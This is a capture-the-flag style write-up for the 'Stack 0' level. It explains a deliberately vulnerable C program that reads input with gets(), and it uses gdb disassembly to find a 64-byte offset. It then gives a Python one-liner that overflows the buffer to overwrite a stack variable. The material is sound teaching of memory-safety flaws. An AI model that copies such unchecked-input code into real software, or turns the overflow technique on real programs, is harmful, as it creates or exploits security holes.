Stack 0

This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution.

Source code

source code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

As we can see a modified variable is initialized which has the qualifier volatile is created. The volatile qualifier tells the compiler to not optimize the usage of the variable as it can be changed at any time.

Afterwards, a buffer of 64 bytes is created.

The variable is later initialized to 0.

The gets system call is used to read user input into the buffer. This syscall is infamous for it's bugs.

Let's look at the manual page.

 BUGS     

       Never use gets(). Because it is impossible to tell without
       knowing the data in advance how many characters gets() will read,
       and because gets() will continue to store characters past the end
       of the buffer, it is extremely dangerous to use. It has been
       used to break computer security. 

So the gets syscall stores characters past the end of the buffer. This essentially breaks the limit set on the buffer which means we can input more than 64 bytes.

This is the vulnerability that we have to exploit. But before that let's go through the rest of the code.

There is an if statement which checks if the value of modified in not equal to zero. If it is not equal to 0, it prints out a string else it prompts us to try again.

We have to overwrite the modified variable using a buffer overflow. For that we have have to know where the modified variable is located.

Let's disassemble the program in gdb.

(gdb) disassemble main
Dump of assembler code for function main:
0x080483f4 <main+0>:    push   ebp
0x080483f5 <main+1>:    mov    ebp,esp
0x080483f7 <main+3>:    and    esp,0xfffffff0
0x080483fa <main+6>:    sub    esp,0x60
0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>:   lea    eax,[esp+0x1c]
0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
0x0804840c <main+24>:   call   0x804830c <gets@plt>
0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:   test   eax,eax
0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:   call   0x804832c <puts@plt>
0x08048433 <main+63>:   leave
0x08048434 <main+64>:   ret

Look at the instruction at main+9.

--snip--;
0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0
--snip--;

We can see that the variable is located at esp+0x5c and is set to zero using dereferencing.

Next, we want to locate the buffer.

--snip--;
0x08048405 <main+17>:   lea    eax,[esp+0x1c]
0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
0x0804840c <main+24>:   call   0x804830c <gets@plt>
--snip--;

In 32-bit assembly the arguments for a call are stored onto the stack.

In our program the gets syscall takes the location of the buffer as argument. This buffer is located at esp+0x1c.

The distance between the location of the modified variable and the buffer is the following:

(gdb) p/d 0x5c - 0x1c
$1 = 64

The variable is located right where the buffer ends.

Therefore we need 65 bytes in total, 64 bytes to fill the buffer and 1 byte to overwrite the modified variable.

$ ./stack0
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaB
you have changed the 'modified' variable

We can use python to craft the exploit.

Exploit

$ python -c 'print "a"*(64)+"B"' | ./stack0
you have changed the 'modified' variable

Source code​

Exploit​

Source code

Exploit